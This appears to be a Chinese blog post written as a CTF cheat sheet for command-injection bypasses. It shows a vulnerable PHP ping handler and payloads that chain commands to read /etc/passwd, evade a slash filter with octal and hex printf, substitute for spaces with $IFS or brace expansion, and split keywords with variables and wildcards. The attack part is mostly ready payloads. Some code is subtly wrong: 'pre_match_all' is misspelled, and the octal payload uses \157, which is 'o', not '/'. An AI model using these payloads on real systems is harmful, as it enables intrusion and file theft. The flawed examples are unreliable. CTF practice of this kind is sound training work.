rce-ctf速查及绕过

尝试拼接:(只要能作为命令分隔符的都行)

(1)  ;   (2) &   (3)&&    (4)|| (5)|  (6)%0a  (7)%09

#ping 127.0.0.1%0als

例题:

查看是否包含正斜杠 /”,否则返回0,实则为对输入IP做正则过滤,若含“/”则走else分支,否则执行ping命令

if (!pre_match_all("/\//", $ip, $m)){ 
$cmd = "ping -c 4 {$ip}"; 
exec($cmd, $res); } 
else 
{ $res = $m; } 

Payload(绕过方式):

一、直接拼接命令

127.0.0.1;cd ..;cd ..;cd etc;cat passwd

二、八进制绕过

 \57  /  ASCII 八进制码(ASCII码47 = 057 八进制)

 $(printf"\57") 会解析为实际的 / 字符

注:$ (...) 为命令替换语法,会执行括号内命令并将其输出代入主命令

Payload 示例:

127.0.0.1;cat $(printf "\157")etc$(printf "\157")passwd

三、十六进制绕过

 \x2f 对应 / 的十六进制(斜杠 /  ASCII 码为 47,对应十六进制为 2f

Payload 示例:

127.0.0.1;cat $(printf "\x2f")etc$(printf "\x2f")passwd

四、空格绕过

【1】windows

%Variable:~起始位置,长度% 的含义:

在 Windows 批处理(.bat/.cmd)脚本中,环境变量支持字符串截取功能,语法格式是:

%变量名:~起始位置,截取长度%
%ProgramFiles:~10,1%表示的为空格

image-20260414155928258

【2】linux

(1)$IFS$9代表空格

(2)${IFS}代表空格

(3)bash有效,但zsh,dash无效:{cmd,args}

image-20260414160607455

注:

(1){whoami,}执行whoami命令
(2){cat,flag.php}执行cat flag.php命令

(4)这里查看文件还可以用<>,例如cat<>flag

五、绕过字符过滤

(1)利用变量拼接

linux:   a=c;b=at;c=fl;d=ag;$a$b ${c}${d}
#最终$a$b是cat,${c}${d}flag
#所以这里执行的命令是cat flag

(2)通配符绕过

?:一个任意字符
*:多个任意字符
posted @ 2026-06-18 12:27  Doll_Marker  阅读(29)  评论(0)    收藏  举报